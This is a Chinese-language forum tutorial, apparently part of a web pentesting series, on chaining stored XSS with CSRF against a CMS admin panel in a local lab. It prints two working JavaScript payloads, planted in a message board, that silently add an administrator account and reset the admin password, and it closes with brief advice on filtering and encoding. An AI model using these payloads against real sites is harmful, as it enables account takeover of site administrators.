电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 2157 人浏览分享

XSS与CSRF的联合使用

[复制链接]
2157 0
本帖最后由 zhaorong 于 2021-7-17 16:04 编辑

前言

XSS漏洞简介:XSS注入漏洞又称为"跨站脚本攻击 Cross Site Scripting 为了不和层叠样式表 Cascading Style Sheets,CSS
混淆 所以将跨站脚本攻击缩写为XSS。XSS注入攻击的原理其实和sql注入攻击的原理很相似 攻击者将恶意的Script代码插入
到网页中 当正常用户浏览该页面时 被嵌入的恶意Script代码就会被执行,从而达到恶意攻击正常用户的目的。

目录:
一、记一次web渗透过程
二、web渗透---SQL盲注漏洞
三、XSS与CSRF的联合使用
四、web渗透---文件包含漏洞
五、web渗透---命令执行漏洞
六、web渗透---报错注入漏洞

XSS分类
跨站脚本注入漏洞是由于WEB服务器读取了用户可控数据输出到HTML页面的过程中没有进行安全处理导致的用户
可控数据包括url 参数 HTTP头部字段cookie referer HOST等 HTTP请求正文等。
(1)反射型XSS:攻击者输入可控数据到HTML页面中 通常是url 所以输入
的数据没有被存储 只能在单次请求中生效。
(2)存储型XSS:攻击者输入可控数据到HTML页面 通常是POST表单:评论 留言板 登录框等 所以输入的数据会被
存储到数据库中,由于数据经过存储 可以持续被读取出来 攻击的次数比反射型XSS多。
(3)DOM-XSS:攻击者可控数据通过JavaScript和DOM技术输出到HTML中 其实是一种特殊类型的反
射型XSS 基于DOM文档对象模型的一种漏洞。

XSS危害
(1)流量劫持 利用木马修改浏览器不停的弹出新的窗口强制性的
让用户访问指定的网站为指定网站增加流量
(2)获取用户cookie信息 盗取账号(普通用户 管理员等账号)
(3)篡改、删除页面信息 钓鱼操作
(4)配合CSRF攻击 实施进一步的攻击 控制被害人的电脑访问其他网站

165554if3lsb512n1nr1x1.jpg

步骤一:
由于在对管理员帐号编辑的地方,进行密码修改时没有进行2次校验或确认 存在CSRF漏洞
使用XSS脚本对该CSRF漏洞进行利用
通过burp将需要伪造的http请求固有的属性复制到自己编写的代码中
CSRF跨站请求伪造:利用http请求将服务器信赖的http请求发送给服务器 服务器识别之后作处理
以下为CSRF与script的利用 通过打开增加管理员的界面 将请求头部发送和发送新的管理员账户密码
  1. <script>function loadXMLDoc()
  2. {
  3. var xmlhttp=new XMLHttpRequest();
  4. xmlhttp.open("POST","http://192.168.159.1/510/510cms/admin/adminadd.php?admin=add",true);
  5. xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
  6. xmlhttp.send("name=Test&passwd=abc123&remark= test&mid=2&adminsubmit=%CC%E1%BD%BB");
  7. }
  8. loadXMLDoc();
  9. </script>
复制代码

165828zd6nybx0wdtp6tfo.png

将script代码在留言板发送给管理员 管理员查看留言板之后服务器会跳转界面执行指令

999.png

998.png

下图为添加成功的su管理员

997.png

通过burp代理拦截 可以查看登陆执行的结果

996.png

步骤二:
同理可得 将需要伪造的页面通过burp拦截下来 获取其中固有的属
性再将这些属性参数复制到编码中
下图代码为打开修改密码的页面
  1. <script>function loadXMLDoc()
  2. {
  3. var xmlhttp=new XMLHttpRequest();
  4. xmlhttp.open("POST","http://192.168.159.1/510/510cms/admin/adminadd.php?Id=1",true);
  5. xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
  6. xmlhttp.send("name=Test&passwd=123456&remark=%B3%AC%BC%B6%B9%DC%C0%E
  7. D%D4%B1&mid=1&adminsubmit=%CC%E1%BD%BB");
  8. }
  9. loadXMLDoc();
  10. </script>
复制代码

发送http头部请求和发送更改密码的指令 将账户admin的密码改为123456

992.png

发送到留言板 管理员查看留言板会跳转页面执行指令

991.png

990.png

登入原始的账户和密码 通过burp可以看到密码输入不正确 说明密码已经被服务器改了

899.png

再输入自己改的密码123456 发现登入成功

898.png

总结

作为OWASP TOP10中的漏洞之一 XSS注入漏洞在web安全中还是有很多案例存在 建站人员应该提前做好防护措施
可以在服务端对用户可控数据进行过滤和编码操作 如将所有on事件,script等关键字进行过滤 将所有<,>,”,’,=等特
殊符号进行实体化编码或百分号编码便可以修复。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.